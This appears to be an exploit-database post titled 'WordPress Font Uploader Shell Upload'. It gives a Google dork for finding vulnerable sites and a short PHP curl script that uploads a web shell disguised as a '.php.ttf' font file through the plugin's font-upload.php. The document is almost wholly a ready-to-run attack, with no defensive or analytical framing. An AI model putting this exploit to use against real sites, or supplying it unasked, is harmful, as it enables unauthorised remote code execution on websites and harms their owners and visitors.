Exploit WordPress Font Uploader Shell Upload

Exploit Title:WordPress Font Uploader Shell Upload
Google Dork : inurl:/wp-content/plugins/font-uploader/

code===>

<?php
 
$uploadfile="yourshellname.php.ttf";
$ch =
curl_init("http://www.yourtarget.com/wp-content/plugins/font-uploader/font-upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('font'=>"@$uploadfile",
'Submit'=>'submit'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
 
?>